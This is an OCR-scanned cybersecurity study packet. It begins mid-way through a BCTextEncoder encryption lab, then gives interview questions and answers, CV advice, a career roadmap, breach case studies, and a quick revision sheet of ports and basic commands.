ter password for encoding text X
33003
1 Encoded text -Session key packet E

Figure 1.6.6: Enter the password for decodmg
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9. The decoded plain text appears under the Decoded plain text scction, as
7 Youcanako use .
other cryptography 1onks shown in the screenshot.
such as AxCrypt = -
(heps/ /swwvaseypiney | & BCTetEncoder Utility v. 1.03.2.1 - 0 X
» Microsoft ile Edit Key Options Help

Cryptography Tools
(h:[l;s:/%g:sznicmwﬁ.c Q m @ @ o & e § ?

om), and Concealer =

(haps:/ /wwwbebghsoft. oded plan text: 4048 Encode by: paseword v Encode
com) 10 enerypr
conlidential daca. extErcoder smplifies encoding and decoding text data, Plan text data are comgpressed, enaypted and converted b lq
v
F\:oded text: 926 B Decoded by paseword . Decode

-—BEGIN BNCODED MESSAGE —
ersion: BCTexEncoder Utility v, 1.03.2.1

yECQMCFrkSxB 31azF QoBpkhwnI H8XREXPS 3QKdzwz 271 7X9pi FGF UoMNEMNX
SAIAY I0RsQGOtNST A 7e 3EaRid 7d Je IqIOWMKHIY Z ZE6DrkWhv 4¢j Fivvv 23
VgV 2MH b LNPCEGNYRNP 33W//\ 5Q Amh6 S3qui VIHTmt YEGgfEfZPKupdSH 11 4
R BhwwBIGECIZTIAVFMwnp 1IPGHTHCCRhxvY 70 vesY +22Pb JO8IdC QeEExW HaC
3nI3xXfsMA 7.9C +Tx 1dF /RE xh TeAuysh i 4ye TjiCr + 17D Vr 35 2YSkoPF
Orb7FOYLbT 2xSVa=

JWT

END ENCODED MESSAGE - ----

Fygure 167 Ouwtpat decoded rext

Note: In real-ume, using this procedure, you can encode the texe while sending it
to the intended user along with the password used for encryption. The user tor
whom the text s intended should have the BClexttincoder apphcatnon installed
onhis/hermachine. He/she wall have to paste the encoded textinto the Encoded
text scemon and use the password you shared, to decode it to plain text.

10. This concludes the demonstration of encrvpting and deceypting, the data
using BC TextEncoder.

11. Close all open windows and document all the acquired information.

12. “T'urn off the Windows 10 virtual machine.

Lab Analysis

Analvze and document all the results discovered 1n the lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
ABOUT THIS LLAB.

| Internet Connection-Requiired).

O Yes M No
Platform Supported
M Classroom iLabs
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20 Cybersecurity Interview Questions & Sample Answers

1. What is the CIA Triad in cybersecurity?

Confidentiality, Integrity, Availability. These are the core principles ensuring data is
private, accurate, and accessible when needed.

2. Explain the difference between a virus, worm, and Trojan.

Avirus attaches to files, a worm spreads independently, and a Trojan disguises itself
as legitimate software.

3. What is the difference between symmetric and asymmetric encryption?
Symmetric uses one key (faster), asymmetric uses public/private key pairs (more
secure for communication).

4. What is a firewall and how does it work?

A firewall filters incoming and outgoing traffic based on security rules to protect
networks.

5. What are IDS and IPS?

IDS = Intrusion Detection System (monitors & alerts), IPS = Intrusion Prevention
System (blocks threats).

6. Explain hashing vs encryption.
Hashing is one-way (used for integrity), encryption is two-way (used for
confidentiality).

7. What is multi-factor authentication (MFA)?
A login method using two or more factors (something you know, have, or are).

8. What is phishing and how to prevent it?
Phishing is tricking users to reveal data via fake emails/sites. Prevent with awareness
training, filters, and MFA.

9. What is SQL injection?
A web attack where malicious SQL queries manipulate databases. Prevent with
parameterized queries and input validation.

10. What is penetration testing?

A simulated attack to test system security. Helps find and fix vulnerabilities before
hackers exploit them.

11. What’s the difference between black hat, white hat, and grey hat hackers?

Black hat = malicious, White hat = ethical security testing, Grey hat = mix of both.
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12. Explain the OSI model layers in relation to security.
Each layer can face specific threats (e.g., network sniffing at Layer 3, DoS at Layer 4,
malware at Layer 7).

13. What is Zero Trust security?

A modelwhere no user or device is trusted by default, even inside the network.

14. What is ransomware and how to protect against it?
Malware that encrypts files and demands ransom. Protect with backups, patching,
and endpoint protection.

15. What is port scanning and why is it used?

Atechnique (e.g., with nmap) to discover open ports and services on a system.

16. What is the difference between authentication and authorization?

Authentication = verifying identity (username/password). Authorization =
permissions after login (what you can access).

17. Explain VPN and its use in security.
VPN encrypts traffic between user and server, protecting data from eavesdropping
on public networks.

18. What are security patches and why are they important?
Updates fixing vulnerabilities. Not patching leaves systems open to attacks.

19. What is social engineering in cybersecurity?
Manipulating people into giving away confidential data. Prevent with training and
strict policies.

20. Why do you want to work in cybersecurity? (HR question)
Answer should show passion, continuous learning, and commitment to protecting
data and systems.
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How to Write a Strong Cybersecurity CV

CV Structure:
1. Header
o FullName
o Phone, Email, LinkedIn, GitHub (if projects)

2. Professional Summary (3-4 lines)
Example:

“Cybersecurity professional with strong knowledge of networking, firewalls, and
penetration testing. Skilled in ethical hacking tools like Wireshark, Metasploit, and Kali
Linux. Passionate about securing systems against modern threats.”

3. Key Skills (bullet points)
o Networking & TCP/IP
o Linux & Windows Security
o Penetration Testing (Nmap, Metasploit, Burp Suite)
o Cryptography & Encryption
o SIEM Tools (Splunk, ELK)
o Incident Response
4. Work Experience / Projects
o Cybersecurity Intern - XYZ Company (Jan 2024 - June 2024)
» Conducted vulnerability scans using Nessus.
= Assisted in penetration testing of internal networks.
» Created awareness sessions for phishing prevention.
o Academic Project - “Network Security Lab”
= Simulated attacks with Kali Linux and analyzed using Wireshark.
5. Education
o B.Sc.in Computer Science / Diploma in Networking & Security.
o Certifications: CCNA, CEH (if any).
6. Extra Section (Optional)

o Workshops, conferences, bug bounty participation.
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Tips:

e Keep CV 1-2 pages only.

e Use action words: “Configured”, “Tested”, “Analyzed”.

e Highlight tools you know (Kali Linux, Wireshark, Metasploit).
o Iffresher > focus on projects & labs.

e If experienced > focus on achievements & results.
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Cybersecurity Career Roadmap
Entry-Level Roles
e IT Support/Helpdesk Technician
o Skills: Basic networking, OS troubleshooting, antivirus.
o Tools: Windows/Linux basics, Wireshark (intro).
e Security Analyst (SOC Tier 1)
o Skills: Log analysis, incident detection.
o Tools: SIEM tools like Splunk, QRadar.
¢ Network Administrator
o Skills: Configuring routers/switches, firewall basics.
o Certifications: CCNA, CompTIA Security+.
Mid-Level Roles
o Penetration Tester / Ethical Hacker
o Skills: Exploitation, vulnerability testing.
o Tools: Kali Linux, Metasploit, Burp Suite.
o Certifications: CEH, OSCP.
e SOC Analyst (Tier 2-3)
o Skills: Threat hunting, malware analysis.
o Tools: SIEM, IDS/IPS, Endpoint Detection.
¢ Incident Responder
o Skills: Containment, recovery, forensics.
o Certifications: GCIH, CHFI.
Advanced Roles
e Security Engineer / Architect
o Skills: Designing secure systems, zero-trust models.
o Tools: Advanced firewalls, cloud security tools.
e Cybersecurity Consultant

o Skills: Policy design, compliance, risk management.
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o Certifications: CISSP, CISM.
¢ Chief Information Security Officer (CISO)
o Skills: Leadership, business alignment, strategy.

o Responsibility: Protecting the entire organization.

Real-World Case Studies

WannaCry Ransomware (2017)

e Spread worldwide using a Microsoft Windows SMB exploit.
o Affected 200,000+ computers in 150 countries.

e Lesson: Always patch systems & maintain backups.
Equifax Breach (2017)

e 147 million customer records stolen due to unpatched Apache Struts.
o Exposed sensitive data (SSNs, DOBs, addresses).

e Lesson: Patch management s critical.
Facebook-Cambridge Analytica (2018)

e User data misused for political advertising.

e Lesson: Data privacy laws (GDPR, CCPA) matter.

Cybersecurity Myths vs Reality

e Myth: Hackers only attack big companies.
Reality: Small businesses are common targets (weak security).

e Myth: Antivirus will protect me from everything.
Reality: Defense requires firewalls, updates, backups, and awareness.

e Myth: Strong passwords are enough.
Reality: Use MFA (Multi-Factor Authentication) for real security.

e Myth: Cybersecurity is only technical.
Reality: Human errors & social engineering cause most breaches.

e Myth: Once patched, you’re safe.
Reality: New vulnerabilities appear daily.
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Cybersecurity Quick Revision Sheet (1 Page)
Acronyms

e« CIATriad: Confidentiality, Integrity, Availability
o IDS/IPS: Intrusion Detection/Prevention System
e MFA: Multi-Factor Authentication

OSI Model Security Focus

e Layer 3 (Network): IP spoofing, DoS

e Layer 4 (Transport): Port scanning

e Layer 7 (Application): SQL Injection, XSS
Common Ports

e 21-FTP

22 -SSH

25-SMTP

80— HTTP

e 443 -HTTPS
Useful Commands
e ping-Test connectivity

netstat —View network connections

e nmap-Scan ports & services

chmod - Change file permissions
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